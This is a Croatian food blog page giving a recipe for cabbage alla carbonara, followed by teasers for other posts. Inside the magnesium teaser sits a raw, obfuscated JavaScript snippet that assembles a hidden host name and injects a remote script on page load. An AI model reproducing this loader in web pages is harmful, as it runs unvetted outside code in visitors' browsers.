KUPUS ALLA CARBONARA





Kupus alla carbonara 




Kupus traži drugačiji pristup od tjestenine. Sadrži puno vode, pa ga treba peći u fazama na jakoj vatri. Tako brzo ispari višak vlage, listovi se karameliraju i razviju suptilnu slatkoću. Istovremeno zadržavaju laganu čvrstoću pod zubom što podsjeća na al dente teksturu tjestenine.




Kupus alla carbonara 


Sastojci:

  • 6 žlica (90 ml) vode
  • 1 žličica škrobnog brašna
  • 1 žlica (15 ml) ekstra djevičanskog maslinovog ulja
  • 1/4 šalice na kockice narezanog guancialea, pancete ili slanine (oko 42 g)
  • 680 g zelenog kupusa (oko 1 manja glavica), očišćenog i narezanog na tanke, duge trake (oko 8 šalica)
  • 1 cijelo jaje + 3 žumanjka
  • 28 g sitno ribanog pecorino romano sira (oko 1/3 šalice), plus dodatno za posluživanje
  • 28 g sitno ribanog parmezana (oko 1/3 šalice), plus dodatno za posluživanje
  • 1/2 žličice svježe mljevenog crnog papra, plus dodatno za posluživanje



Priprema:

  1. U manjoj zdjeli pomiješajte vodu i kukuruzni škrob dok ne dobijete glatku smjesu. Prebacite u srednje veliki lonac i kuhajte na srednje jakoj vatri uz stalno miješanje dok se ne zgusne u prozirni gel, oko 1 minute. Maknite s vatre, vratite u zdjelicu i ostavite sa strane. Obrišite lonac.
  2. U istom loncu zakuhajte oko 2,5 cm vode na srednje jakoj vatri, zatim smanjite temperaturu da lagano krčka.
  3. U velikoj tavi pomiješajte guanciale (ili pancetu/slaninu) i maslinovo ulje te pecite na srednje jakoj vatri uz povremeno miješanje dok se masnoća ne otopi, a meso ne postane hrskavo, oko 7 minuta.
  4. Pojačajte vatru na jako. Dodajte polovicu kupusa i stalno miješajte dok lagano ne omekša i smanji volumen, ali bez jačeg tamnjenja, 1 do 2 minute. Postupno dodajte ostatak kupusa i nastavite miješati dok sav kupus ne omekša, ostane lagano čvrst pod zubom i blago se zapeče, ukupno 5 do 6 minuta. Maknite s vatre i ostavite da se kratko ohladi, oko 1 minute.
  5. U velikoj metalnoj zdjeli otpornoj na toplinu umutite jaje, žumanjke, pecorino, parmezan i papar dok ne dobijete glatku smjesu. Umiješajte škrobni gel dok se ne stvori gusta pasta. Dodajte kupus i dobro promiješajte da se sve obloži umakom.
  6. Zdjelu stavite iznad lonca s lagano kipućom vodom (pazite da dno ne dodiruje vodu) i brzo miješajte hvataljkama dok se umak ne zgusne i ne postane kremast i svilenkast te lijepo obavije kupus. Maknite s vatre, po potrebi posolite i raspodijelite u dvije zdjele. Poslužite odmah uz dodatni sir i svježe mljeveni papar.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više